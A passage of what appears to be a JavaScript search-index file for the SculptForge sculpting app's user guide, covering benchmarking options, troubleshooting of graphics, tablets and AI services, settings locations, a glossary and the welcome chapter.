meshes draw faster. Parts of a mesh that face away from you are skipped when the mesh is closed (no holes or hidden parts) and you look at it from outside. A mesh with holes, hidden polygons, or a view from inside it draws everything, which can take about twice as long on huge meshes. Tool > Display > Backface culling (#68, off by default) skips the back faces of any mesh, open or closed, from any view: an open scan seen from behind then draws almost nothing (8M triangles: 3.1 ms down to 0.7 ms a frame), and you see through its openings. Brushes then work only on the faces drawn. Undo keeps only what each stroke changed, so a stroke on a 33 million triangle mesh undoes in a few tens of milliseconds, and the history holds many such strokes within its 1 GB."},{"p":"performance.html","c":"Performance and big meshes","a":"dynamic-topology","h":"Dynamic topology","t":"Dynamic topology only works where the brush is, so its speed depends on how many triangles the brush covers rather than on the size of the mesh: on an M1 Pro a medium dab takes 9 to 13 milliseconds on a one-million-triangle sphere. It gets slower when a big brush (or a low Detail) has to merge many small triangles at once; it then spreads the work over several dabs. Undoing a stroke rebuilds the mesh's connections, which takes about a tenth of a second per million triangles. sculptforge --bench --bench-dyntopo measures it on your machine."},{"p":"performance.html","c":"Performance and big meshes","a":"proof-mode-see-it-for-yourself","h":"Proof mode: see it for yourself","t":"Help > Benchmark (or sculptforge --benchmark standard-15m) shows how responsive sculpting is on your own computer, measured the way it feels rather than the way a developer measures it. Its standard scenes are the ones the benchmarks page lists: a procedural head of 15 million (standard-15m) or 33 million (standard-33m) triangles, the same on every computer, sculpted with a fixed stroke set: Clay at 25, 60 and 120 pixels, Move, Smooth and a 240-pixel brush, then a turn of the view (standard runs both sizes). Each reports frame time (p50, p95, p99), how far the stroke trails the pointer in pixels, the worst stall (the longest the screen froze), and peak memory and graphics memory. Without a scene name (sculptforge --benchmark, or Spheres in the dialog) it runs the older size sweep: for each size, 5, 20 and 33 million triangles (and 100 million when there is enough free memory), it builds a sphere with subdivision levels, then plays a scripted pen stroke into the same code your mouse and pen go through, 240 pointer samples a second: a figure eight with a 60-pixel brush, the same with a 240-pixel brush, then a turn of the view. It replaces the scene, so save your work first; Esc stops it. While it runs, a panel in the corner shows: fps and the frame time: the median (p50), and the 95th and 99th percentile, the slow frames you would notice as a hitch. Stroke trails pointer: how far the stroke on screen is behind the pointer, in milliseconds (from the pointer sample the newest drawn dab belongs to until that frame is handed to the display; the display's own refresh comes on top) and in pixels along the path. The memory SculptForge uses. Vertical sync is off during the run so frame times aren't capped at the display's rate (tick Keep vertical sync on to measure with it). At the end a table sums up each mesh and phase, and two files are written: a video of the run with the panel in it (needs ffmpeg; recording costs a millisecond or two per frame) and a JSON file with the results, your processor, graphics card, memory, operating system and the SculptForge version and commit. In the app they go to the benchmarks folder in SculptForge's settings folder (Open folder in the results); from the command line, to the current folder: sculptforge --benchmark standard-15m --benchmark-out mine.json --benchmark-video mine.mp4 sculptforge --benchmark --benchmark-sizes 5,20,33 --benchmark-out spheres.json --benchmark-no-video skips the video, --benchmark-vsync keeps vertical sync on, --benchmark-seconds 6 sets the length of each stroke, and --size 1920x1080 the window (a tiling window manager may choose another size; the result records the one used). Share a result on the benchmarks page as its format description explains."},{"p":"performance.html","c":"Performance and big meshes","a":"measuring-your-own-machine","h":"Measuring your own machine","t":"sculptforge --bench builds a sphere at 4, 16 and 32 million triangles and measures every brush, undo, stepping subdivision levels, saving and opening a project, and turning the view, then prints a report. sculptforge-cli --bench measures the same without the graphics card. Options: Option What it does --bench-sizes 4,16,32 The sizes, in millions of triangles --bench-dabs 40 Dabs per test stroke --bench-brushes large Only the brushes whose name contains the text (here the large-radius ones) --bench-no-project Skip saving and opening the project (which needs twice the memory) --bench-view Measure only what the view costs: uploading to the graphics card, a few strokes, and turning the view --bench-out report.md Write the report to a file When nothing changes, SculptForge draws nothing: the graphics card and processor rest until you move the mouse, press a key, or something finishes in the background. sculptforge --measure-idle 5 sits idle for five seconds (after a short start) and prints the frames drawn and the processor time used. If the view ever stops updating when it should (a driver that misbehaves), start SculptForge with the environment variable SF_CONTINUOUS_REDRAW=1 to draw every frame as versions before 0.9.5 did, and please report it; SF_REDRAW_LOG=1 logs why each frame was drawn. On a very dense mesh a dab can cost more than a frame. The dabs of a stroke then wait in a queue that SculptForge works through for a few milliseconds each frame, reading the pen or mouse in between, so a fast curve stays a curve; once more than about 50 ms of dabs are waiting, every second waiting dab is left out (a wider spacing), so the brush stays close to the pointer and stops soon after you lift the pen. sculptforge --run \"new_sphere\" --measure-stroke 3,200 draws a fast circle for three seconds with a 200-pixel brush and prints how far the dabs strayed from it and the frame times. SF_STROKE_IMMEDIATE=1 places every dab as soon as the pointer moves (versions before 0.9.6), SF_STROKE_BACKLOG=0 never leaves dabs out, and SF_STROKE_LOG=1 logs the queue each frame (with Predictive Strokes, each batch the brush thread places and what packing it for the graphics card cost). SF_PREDICTIVE_STROKE=0 / 1 and SF_DRAFT_STROKE=0 / 1 override the two preferences, and SF_FRAME_LOG=16 logs every frame slower than 16 ms with where its time went. tools/bench_strokes.sh in the source runs the stroke measurement on 5, 21 and 33 million triangle spheres and prints the frame times (mean, 95th and 99th percentile), how far the surface and the preview trail the pointer, press and release, for one build or two side by side. The perf_info command (also in the Console) prints the threads in use and the memory the scene holds; set_multithreading enabled=false turns multithreading off from a script."},{"p":"performance.html","c":"Performance and big meshes","a":"see-also","h":"See also","t":"Subdivision levels Troubleshooting and FAQ Glossary"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"","h":"Troubleshooting: tablets, display, crashes and FAQ","t":"This chapter collects fixes for common problems: start-up and graphics errors, tablets, AI service messages, ComfyUI errors, the camera notch, first-launch warnings on macOS and Windows, where SculptForge keeps its settings, how to reset the interface, and how to report a bug. Quick answers: Problem Fix No pen pressure on Windows Switch Windows Ink in the tablet driver and bring the pen back (Pen tablets) The cursor jumps when the pen touches down Edit > Preferences > Tablet > Mouse mode (relative) \"Windows protected your PC\" More info, then Run anyway (First launch warnings) Text and buttons too small or too large Edit > Preferences > Interface > UI scale (details) Menus or shelves look wrong after an update Edit > Preferences > Config > Restore Standard UI (Reset the interface) Sculpting feels slow The viewport is slow Lost work after a crash Recovering work after a crash Want the Classic layout back Edit > Preferences > Interface > Look > Layout > Classic"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"sculptforge-doesnt-start","h":"SculptForge doesn't start","t":"SculptForge draws with OpenGL 3.3 (core profile). Almost every GPU from the last decade supports it, but an old driver, a remote desktop session or a virtual machine without 3D acceleration may not. Update your graphics driver from the GPU maker (NVIDIA, AMD, Intel) or your Linux distribution. Virtual machines: turn on 3D acceleration in the VM settings. Remote desktop: some remote sessions only offer an older OpenGL. Run SculptForge locally, or use a remote tool that forwards the GPU. Linux: on a machine without a working GPU driver, Mesa's software renderer works (slowly): LIBGL_ALWAYS_SOFTWARE=1 sculptforge. To see why it stopped, start it from a terminal and read the messages. It prints the OpenGL version and GPU it found at start-up (for example OpenGL 4.6 (Core Profile) Mesa 26.1.8 on ...), or the error, such as OpenGL 3.3 context creation failed or Missing OpenGL function: .... Linux: run sculptforge in a terminal. macOS: run /Applications/SculptForge.app/Contents/MacOS/SculptForge in Terminal. Windows: the release build has no console window; if it closes straight away, update the driver first, then read the log file, which holds the same messages."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"first-launch-warnings-on-macos-and-windows","h":"First launch warnings on macOS and Windows","t":"The release builds aren't code-signed yet, so the operating system warns the first time. macOS (Gatekeeper): \"SculptForge can't be opened because it is from an unidentified developer\". In Finder, right-click (or Ctrl+click) SculptForge in Applications and choose Open, then Open again. macOS remembers the choice. On recent macOS versions you may instead need System Settings Privacy & Security > Open Anyway. Windows (SmartScreen): \"Windows protected your PC\". Click More info, then Run anyway. Download SculptForge only from the official releases page on GitHub (the website that Help > Website & documentation opens links to it)."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-viewport-is-slow","h":"The viewport is slow","t":"Check the triangle count in the bar along the top of the window (Tris). Millions of triangles on a laptop GPU are heavy; Tool > Geometry > Decimate or a lower Voxel Remesh resolution brings it down. See Subdivide, Remesh, Decimate and LODs. Turn off Wireframe (Shift+F) on dense meshes. Hide Parts you aren't working on, or Solo the active one. A large Gaussian splat capture costs GPU time too: lower the count with Clean floaters, or untick Show in Render > Gaussian Splats while you sculpt. On laptops with two GPUs, make sure SculptForge runs on the dedicated one (in the GPU maker's control panel or the operating system's graphics settings). Edit > Preferences > Performance: lower Antialiasing (or turn it off), try View resolution 75% or 50%, keep Fast Navigation on, and look at Last stroke to see whether brushes or the graphics card take the time. Step down a subdivision level for big changes. See Performance and big meshes. A Part missing from the view with \"Not enough GPU memory\" in the status bar didn't fit on the graphics card: hide other Parts or step down a level."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"pen-tablets","h":"Pen tablets","t":"SculptForge reads pen pressure through the operating system's standard pen input, so most Wacom, XP-Pen, Huion and similar tablets, and pen displays, work without settings. Open Sculpt > Draw & Tablet. Under Tablet it shows \"Pen pressure: 0.42\" once the pen has come near the tablet, or \"No pen detected\". Pressure > strength (on by default) and Pressure > size choose what pressure controls. They are also on the top shelf. A custom brush can also set its own pressure response (pressureCurve in its recipe, see Brush Lab and sharing brushes). Edit > Preferences > Input and Edit > Preferences > Tablet show \"Pressure: on\" once the pen has pressed, or \"Pressure: not detected\". Without pressure the pen still draws, at full strength. A tablet plugged in while SculptForge runs works straight away; the status bar says \"Tablet connected\" (also through Wacom Bridge). If no pen is detected or pressure doesn't change: Install or update the tablet maker's driver. Windows: SculptForge reads pressure through Windows Ink, and through the driver's Wintab when Windows Ink is off (Wacom Tablet Properties > Mapping > Use Windows Ink). If pressure is still missing, switch that option and bring the pen back to the tablet. See Pen tablets on Windows. Linux: check that the system sees the pen as a tablet (for example in your desktop's tablet settings). If the cursor moves but strokes have no pressure, test in another application to see whether the driver reports pressure at all. The active Part changed by itself: a Part becomes active with Alt+click on it (the keyboard's Alt, a quick click), a triple-click with the mouse or a click in the Parts list; the status bar names it and how. A tablet's ExpressKey set to Alt counts as the keyboard's Alt. The cursor jumps back when you put the pen down elsewhere: the tablet driver is set to mouse (relative) mode. Turn on Edit > Preferences > Tablet > Mouse mode (relative). It also makes the pen relative with the driver in pen mode; the arrow is drawn at the brush while the pen is in range. The pen picks a brush, then stops clicking menus or the canvas until you use the mouse (Huion, display tablets, Wacom; 0.10.8 and earlier): update to 0.10.9 or later. If it still happens, tell us the tablet, its driver version and whether Windows Ink is on. With two screens, the app slows down when the pointer is on the other screen: fixed in 0.10.9; SculptForge now rests only when its window loses focus."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"hugging-face-free-image-and-text-to-3d","h":"Hugging Face (free image and text to 3D)","t":"Message What to do Hugging Face's free GPU time is used up for now The anonymous daily allowance ran out. Add a free token (huggingface.co/settings/tokens, read access) in HF token in the Generate 3D window, or set HF_TOKEN; or wait for it to refill (about a day); or pick another model The Hugging Face Space is asleep or restarting The model's demo is starting up. Try again in a minute, or pick another model Waiting in the queue for a long time The demos are shared. Try a faster model (Hunyuan3D 2 mini Turbo, Stable Fast 3D) or another time of day TRELLIS.2 fails without a token TRELLIS.2 needs a Hugging Face token"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"falai-and-meshy","h":"fal.ai and Meshy","t":"Message What to do The API key was rejected Check the key in the Generate 3D window, or the FAL_KEY / MESHY_API_KEY variable Out of credits on this account Top up your account with that service Model or endpoint not found Check the fal model id Rate limited Wait a moment and try again"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"brush-lab","h":"Brush Lab","t":"The default Free provider uses a hosted open model with no account. If it is unreachable and Ollama runs on your computer, SculptForge uses your local model instead. \"Rate limited by the provider\" means too many requests in a short time: wait a few seconds. For setup of local models, see Brush Lab and sharing brushes."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"no-connection-at-all","h":"No connection at all","t":"AI features need internet access (except a local Ollama, LM Studio or ComfyUI). Behind a company proxy or firewall, ask IT to allow the service you use: huggingface.co (and *.hf.space), fal.ai, meshy.ai, or the Pollinations.ai text endpoint for the free Brush Lab model."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"comfyui-errors","h":"ComfyUI errors","t":"Message What to do Nothing is answering at http://... ComfyUI isn't running at that address, or a firewall blocks it. Check the address and port (8188 by default). For another computer, start ComfyUI with --listen ...answered, but not like ComfyUI Something else uses that port, or a proxy is in the way. Use the address ComfyUI prints when it starts This workflow was saved in ComfyUI's editor format Export it again in ComfyUI with Workflow > Export (API) This ComfyUI does not have the node ... or ...is missing the nodes ... Install the custom nodes the workflow uses (ComfyUI Manager > Install Missing Custom Nodes) and restart ComfyUI ...names a model file this server doesn't have Download the model into the right subfolder of ComfyUI's models folder, for example models/checkpoints ComfyUI rejected the workflow: node N ... An input is out of range. Open the workflow in ComfyUI: it shows the same error on that node The workflow finished but saved no mesh file End the workflow with Save GLB or another node that saves a mesh ...the GPU ran out of memory The GPU ran out of memory. Lower the resolution or octree size, or use a smaller model The job disappeared from ComfyUI's queue Someone cleared the queue or ComfyUI restarted. Generate again The workflow has no Load Image node You chose a text workflow on the From image tab. Use it from From text See Image and text to 3D for setup."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-top-of-the-window-is-hidden-behind-the-camera-notch","h":"The top of the window is hidden behind the camera notch","t":"On MacBooks with a camera notch, SculptForge keeps the interface below the notch when it fills the screen. If the title strip or palette bar is still covered, or a plain band appears where you don't want one, change Edit > Preferences > Interface > Camera notch: Automatic (asks the system on macOS, recognises notched MacBook displays on Linux), Always reserve, or Off. F11 switches between fullscreen and a window."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"text-and-buttons-are-too-small-or-too-large","h":"Text and buttons are too small or too large","t":"Edit > Preferences > Interface > UI scale sets the size (Automatic, 100% to 200%) and applies it at once. Press Store Config (Ctrl+Shift+I) to keep it for the next start. Automatic uses the scale of the monitor the window is on: on Windows that is Settings > Display > Scale, per monitor, and the interface follows when you drag the window to another monitor. On Linux under X11 it comes from the desktop's font DPI (Xft.dpi); if Automatic looks wrong there, pick a size."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"my-layout-or-shortcuts-are-gone-after-a-restart","h":"My layout or shortcuts are gone after a restart","t":"SculptForge never saves the layout on its own. Press Store Config (Ctrl+Shift+I) to keep the current layout, shortcuts and interface preferences. See The interface."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"reset-the-interface","h":"Reset the interface","t":"Edit > Preferences > Config > Restore Standard UI returns to the built-in layout and default shortcuts. Press Store Config afterwards to make it stick. Restore Custom UI goes back to what the last Store Config saved. To start completely fresh, quit SculptForge and delete ui.json (layout, shortcuts, interface preferences) and imgui.ini (positions of floating windows such as Brush Lab) from the settings folder below."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"a-key-does-nothing","h":"A key does nothing","t":"Shortcuts don't fire while you type in a text field: click the canvas first. Check the key in Help > Controls (F1), which shows every shortcut as currently assigned; a key you reassigned shows in orange in Edit > Preferences > Hotkeys, where Default shortcuts undoes every change."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"where-settings-live","h":"Where settings live","t":"SculptForge keeps its settings in one folder per user: System Settings folder Linux ~/.local/share/SculptForge/SculptForge/ (or $XDG_DATA_HOME/SculptForge/SculptForge/) macOS ~/Library/Application Support/SculptForge/SculptForge/ Windows %APPDATA%\\SculptForge\\SculptForge\\ (usually C:\\Users\\\\AppData\\Roaming\\SculptForge\\SculptForge\\) File or folder What it holds ui.json Layout, shortcut changes and interface preferences, written by Store Config imgui.ini Positions and sizes of floating windows ai.json AI settings: providers, models, keys, ComfyUI address (readable only by your account) project.json Recent files and the autosave interval autosave.sfproj The autosaved copy of unsaved work (removed once you save) clean_exit Marks a normal exit; without it, the autosave is offered for restore sculptforge.log, sculptforge-previous.log What this session and the last one did, and what crashed (see The log file) console_history.txt The console's command history recent_actions.txt Recently used entries of the command palette brushes/ Your brush library, one .sfbrush file per brush brush-gallery-cache/, brush-gallery.json Community brush gallery cache and its address thumbs/ Cached Library and picker thumbnails (safe to delete) Your library folder (projects, tools, alphas, images, splats and snapshots shown in the Library) is separate: Documents/SculptForge by default, changeable in Edit > Preferences > Library > Library folder. Tip: To move settings to another computer, copy ui.json, ai.json and the brushes folder. For a shared layout, use Edit > Preferences > Config > Save UI... and Load UI... instead."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-log-file","h":"The log file","t":"SculptForge writes what it does to sculptforge.log in its settings folder. Choose Help > Open log folder to open it: System Log file Windows %APPDATA%\\SculptForge\\SculptForge\\sculptforge.log macOS ~/Library/Application Support/SculptForge/SculptForge/sculptforge.log Linux ~/.local/share/SculptForge/SculptForge/sculptforge.log It holds the version, your system and GPU (the OpenGL ... on ... line), warnings and errors, and each command you ran. If SculptForge crashes, it ends with lines starting CRASH: that say what crashed and what was done last. Every start keeps the previous session's log as sculptforge-previous.log beside it, so after a crash attach sculptforge-previous.log to your report (the new sculptforge.log is the session after it). It holds no models and no keys, only command names and messages, which may include file names."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"recovering-work-after-a-crash","h":"Recovering work after a crash","t":"SculptForge autosaves unsaved work every 5 minutes by default (Edit > Preferences > Autosave, 0 turns it off). After a crash, the next start asks \"SculptForge did not close normally last time. Restore the autosaved work?\". Restore opens it as unsaved work (save it under a name); Discard deletes it. See Projects, autosave and snapshots. The dialog also points to the crashed session's log file."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"frequently-asked-questions","h":"Frequently asked questions","t":"Can SculptForge open another sculpting app's own project files? Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, use the Bridge, or convert a whole library once with the free Bridge export plug-in (see the Bridge setup page). Does it have subdivision levels, voxel remesh, quad remesh or UVs? Yes: Voxel Remesh, Quad Remesh (with Project All to bring the detail back; see Quad retopology), Auto UV unwraps any model, and Divide adds subdivision levels you can step up and down (see Subdivision levels). Dynamic on the top shelf is dynamic topology, like dynamic topology (see Dynamic topology). Is it really free? Can I sell what I make? Yes and yes. SculptForge is GPL-3.0-or-later free software; the licence covers the program, not your models. The AI models have their own licences (see Image and text to 3D). Does SculptForge send anything about me anywhere? No. There is no telemetry and no account. AI features talk only to the service you choose, when you use them. Does it work offline? Yes. Everything except the hosted AI services works offline, and Brush Lab and image-to-3D can run on local models (Ollama, LM Studio, your own ComfyUI or generator command). Where are my brushes? In the brushes folder in the settings folder above. Brush Lab saves every brush you make or refine there."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"report-a-problem","h":"Report a problem","t":"Choose Help > Report a problem to open the issue tracker on GitHub (you need a free GitHub account). A good report includes: The SculptForge version (Help > About SculptForge) and your operating system. Your GPU and driver: the OpenGL ... on ... line SculptForge prints at start-up (see SculptForge doesn't start), or the GPU name from your system settings. Steps to reproduce: what you did, what you expected and what happened instead. The commands you ran: open the console (the backtick key, left of 1), click Copy session as script and paste it into the report. It often reproduces the problem exactly. After a crash, the log: sculptforge-previous.log from Help > Open log folder (see The log file). A file if the problem is with a particular model (a small .sfproj or the original file), and a screenshot for display problems. For a security problem, don't open a public issue; follow SECURITY.md in the repository instead."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"see-also","h":"See also","t":"Installing SculptForge The interface Glossary"},{"p":"glossary.html","c":"Glossary","a":"","h":"Glossary","t":"This chapter explains the terms SculptForge uses (Parts, Forge Spheres, Vertex Paint, Library...). The command palette (F3) also finds a feature by what it does: type \"remesh\", \"groups\" or \"folders\". See also the Quick tour for experienced sculptors."},{"p":"glossary.html","c":"Glossary","a":"sculptforge-terms","h":"SculptForge terms","t":"Term Meaning Brush Lab The AI brush creator: describe a brush in words and it builds a recipe you can tweak. Opens from AI Brush. See Brush Lab Brush code One line of text (sfbrush1:...) that holds a whole brush, for sharing in chat or a forum. Paste with Ctrl+V Brush library Your saved custom brushes, loaded at every start Brush recipe The data that defines a custom brush (direction, depth, plane, pinch, pattern and so on): values, never code .sfbrush A file holding one brush recipe .sfproj A SculptForge project file: the whole scene. See Projects Cross field The directions Quad Remesh wants quad edges to follow at every point of the surface, smoothed over the whole model. Singularities (where three or five quads meet) appear where the field must turn Command palette F3: search every command, brush and setting by name and run it Community gallery Shared CC0 brushes you can install in one click (Community brushes) Console The script console (backtick key): every action appears as a script line Ctrl help Hold Ctrl and point at a control to see what it does, its shortcut and its command Gaussian splat A 3D capture made of soft coloured blobs (from phone scanning apps). Load one as a reference, make it a sculptable mesh, or turn a sculpt into splats. See Gaussian splats and From scan to sculptable mesh Falloff (Gizmo) How far a gizmo move eases in from the mask's edge, as a share of the Part's size: a soft joint when posing. See Gizmo Generate 3D Turn an image or a description into a sculptable model. See Image and text to 3D Gizmo The Move / Scale / Rotate handles (W E R) for placing and posing a Part or its unmasked part. See Gizmo LOD chain A series of lighter copies of a model (LOD0, LOD1...) for game engines. See Geometry MCP Model Context Protocol: sculptforge-cli --mcp lets AI agents such as Claude run SculptForge commands Pivot The point the Gizmo turns and scales about. Alt+click the model to put it there. See The pivot Subdivide One-way subdivision without levels (Tool > Geometry > Subdivide, subdivide); Divide keeps the levels Send to Unreal Export and import a model into a running Unreal Editor in one step (Ctrl+U) Shelves, palettes, trays The interface around the canvas: shelves hold the most-used controls, palettes hold everything, trays hold pinned palettes. See The interface Studio brush folder A shared, read-only brush folder for a team (SCULPTFORGE_BRUSH_PATH). See For studios Paint target (Vertex / Texture) Where painting goes on a Part that has a texture: its vertices (vertex paint) or its texture. Top shelf, next to Rgb. See Texture painting Quad Remesh SculptForge's automatic quad retopology, in Tool > Geometry. See Quad retopology Mirror plane (Quad Remesh) The plane Quad Remesh's Symmetry mirrors across: the model's own middle (the world's centre plane when the model is symmetric about it), found from the model. Like local symmetry. See Quad retopology Padding (gutter) The few texels around each UV island that texture painting and baking also fill, so seams don't show. See Texture painting and Baking Bake Capture a high-poly's detail as images (maps) on a low-poly's UVs. See Baking Cage (front / rear distance) How far in front of and behind the low-poly the bake's rays look for the high-poly. See Baking Displacement map A map of how far the high-poly lies from the low-poly along its normal; mid-grey = 0. See Baking Keep Texture Remesh option (Voxel Remesh, Quad Remesh): give the new surface Auto UVs and project the painted texture onto it, so the paint survives. See Texture painting MikkTSpace The standard way of computing tangents that game engines share, so tangent-space normal maps look the same everywhere. See Baking Normal map A map of surface directions that makes a low-poly shade like the high-poly. Tangent-space maps are relative to the surface (for engines), object-space maps to the model. See Baking Texel One pixel of a texture. Texture painting paints texels; their 3D position on the model decid"},{"p":"glossary.html","c":"Glossary","a":"see-also","h":"See also","t":"Welcome to SculptForge The interface Keyboard and mouse reference"}];
+window.GUIDE_INDEX=[{"p":"index.html","c":"SculptForge User Guide","a":"","h":"SculptForge User Guide","t":"This guide explains every part of SculptForge, the free, open-source sculpting app for VFX, animation and games: how the interface is organised, how to sculpt, mask, paint (on vertices or textures) and manage Parts, how to generate models with AI, and how to get your work into a game engine, a film pipeline, Blender or another sculpting app. It is updated with every release; What's new lists what changed. Read it inside SculptForge (Help > User Guide, or Shift+F1) or on the SculptForge website."},{"p":"index.html","c":"SculptForge User Guide","a":"start-here","h":"Start here","t":"You want to Read Install it Install SculptForge: downloads for Windows, macOS and Linux Set it up on Windows The Windows notes: SmartScreen, pen tablets (Windows Ink, Mouse mode), screen scaling Make your first sculpt Your first sculpt in 10 minutes: a cute owl head from the default sphere Start from a head or body Starter meshes: base meshes with clean quads, File > New from Starter Mesh Find your way around The interface: the menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help, the shelves and the Tool panel; Navigating the view Learn the brushes Sculpting and brushes Switch from another sculpting app Quick tour for experienced sculptors (the Classic layout and keys) and the Glossary Switch from Blender Blender keys, and Working with Blender for the bridge add-on Fix a problem Troubleshooting The SculptForge window with its main regions labelled"},{"p":"index.html","c":"SculptForge User Guide","a":"getting-started","h":"Getting started","t":"Welcome to SculptForge Your first sculpt in 10 minutes What's new Quick tour for experienced sculptors Install SculptForge on Windows, macOS and Linux The interface Navigating the view"},{"p":"index.html","c":"SculptForge User Guide","a":"sculpting","h":"Sculpting","t":"Sculpting and brushes Brush Lab and sharing brushes Masking Face Groups and visibility Selection sets and morph targets Parts Forge Spheres Vertex Paint and materials Texture painting UV Editor Material painting (PBR) Fill layers, Mesh Maps and Material Recipes Sculpt layers and blend shapes Facial shapes and live face Subdivision levels Micro levels: hundreds of millions of polygons Dynamic topology Sculpt Timeline and timelapse Moving, rotating and posing (Gizmo) Subdivide, remesh, decimate and LODs Cut: line, lasso, rectangle and polyline Quad retopology and detail projection"},{"p":"index.html","c":"SculptForge User Guide","a":"ai-and-capture","h":"AI and capture","t":"Image and text to 3D Gaussian splats Scan an object into a splat From scan to sculptable mesh Phone capture and AR"},{"p":"index.html","c":"SculptForge User Guide","a":"files-and-pipelines","h":"Files and pipelines","t":"Baking normal and displacement maps Exporting, Unreal and Bridge Export presets Working with Blender Working with Maya Projects, autosave and Snapshots Scripting and automation Packs and macros SculptForge for studios"},{"p":"index.html","c":"SculptForge User Guide","a":"reference","h":"Reference","t":"Keyboard and mouse Performance and big meshes Troubleshooting: tablets, display, crashes and FAQ Glossary"},{"p":"index.html","c":"SculptForge User Guide","a":"getting-help","h":"Getting help","t":"Hold Ctrl and point at any button for what it does, its shortcut and its script command. Press F1 for every shortcut and mouse gesture, and F3 to find any command by name. Ask questions and report problems on the issue tracker (Help > Report a problem). SculptForge is free software under the GNU General Public License v3.0 or later. This guide is part of SculptForge and is covered by the same licence."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"","h":"Welcome to SculptForge","t":"SculptForge is a free, open-source digital sculpting application for VFX, animation and games. This chapter explains what it is, what it can and can't do yet, and how the rest of this guide is organised."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-sculptforge-is","h":"What SculptForge is","t":"SculptForge is a focused sculpting tool with the brushes, symmetry, masking and navigation that experienced sculptors already know. Its menus are grouped by task (File, Edit, Sculpt, Paint, Mesh, View, Render, Help), with shelves around the canvas, a Library of thumbnails and pop-up pickers; a Classic layout with alphabetical palettes is one click away. It runs natively on Windows, macOS and Linux, starts in a moment, works offline and costs nothing. The Classic sculpting keys and gestures are one choice away: answer Classic sculpting keys when the first start asks what you are coming from, or pick Classic in Edit > Preferences > Input. See Quick tour for experienced sculptors. There is no account, no subscription, no licence server and no telemetry. It is free software under the GNU General Public License v3.0 or later. You own everything you make with it: the GPL covers the program, not your models. SculptForge stays free and works the same for everyone; nothing is ever paywalled. Memberships add your name to the credits, the monthly pack and a vote on what gets built. Insiders will get each release about two weeks early, starting with SculptForge 1.0 (every release stays free for everyone; bug-fix and security releases go out to everyone the same day): Help > Support SculptForge... opens sculptforge.app/support.html in your browser, where you can become a member. That is all it does: the app has no payment code, no account and no licence check. Supporters are thanked by name in Help > About. While SculptForge starts (the first time, after an update, and at most once a week otherwise) a card shows the memberships; I'm already a supporter hides it for good and Edit > Preferences > Support turns it off. After about ten hours of sculpting, SculptForge also shows one small note about this along the bottom of the canvas, once, and never again after you close it."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-you-can-do-with-it","h":"What you can do with it","t":"Sculpt with more than twenty built-in brushes (Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge, VDM, the Kelvinlet brushes and more), four stroke types, brush alphas, X/Y/Z symmetry and tablet pressure. See Sculpting and brushes. Design brushes in words with Brush Lab: describe \"dry cracked mud\" and an AI builds a brush recipe you can tweak with sliders, keep in your library and share as a file or a one-line brush code. See Brush Lab and sharing brushes. Mask, group and hide parts of the model: Ctrl to paint a mask, Ctrl+Shift to isolate a face group. See Masking and Face Groups and visibility. Keep separate meshes as Parts (body, eyes, teeth, armour), each with its own undo history. See Parts. Paint colour on the surface (vertex paint) and look at the model through the built-in Lit Sphere materials or your own. See Vertex Paint and materials. Sculpt layers that double as blend shapes (morph targets), with live weights. See Sculpt layers and blend shapes. Rebuild the mesh: Loop subdivision, voxel remesh (similar to voxel remesh), decimation and one-click LOD chains. See Subdivide, remesh, decimate and LODs. Generate a model from a sketch, concept art or a description, free through Hugging Face or on your own ComfyUI server. See Image and text to 3D. Work with Gaussian splats from phone captures: sculpt against them or turn them into meshes. See Gaussian splats. Export to glTF/GLB, FBX, OpenUSD, OBJ, STL and PLY, send models straight into Unreal Engine, and exchange them with another sculpting app through the Bridge. See Exporting, Unreal and Bridge. Automate everything: every action is a command you can type in the console, run headless with sculptforge-cli, script from Python or hand to an AI agent over MCP. See Scripting and automation."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-it-doesnt-do-yet","h":"What it doesn't do yet","t":"SculptForge is young (version 0.10; see What's new). Some things experienced sculptors rely on are still on the roadmap: Painting across UDIM tiles (the UV Editor lays them out; painting covers tile 1001). Booleans and stencils. Others are not on the roadmap: poly modeling, the 2.5D canvas, and reading other sculpting apps' own project files directly. Not yet: where a chapter describes a feature SculptForge doesn't have, it says so in a callout like this one. The project's ROADMAP.md lists what is planned and in which order."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"quick-tour-for-experienced-sculptors","h":"Quick tour for experienced sculptors","t":"Most habits carry over, and Edit > Preferences > Interface > Look > Layout > Classic brings back the alphabetical palette bar. You sculpt with a left drag, hold Alt to subtract and Shift to smooth, drag on the background to rotate, Alt+drag to pan, and 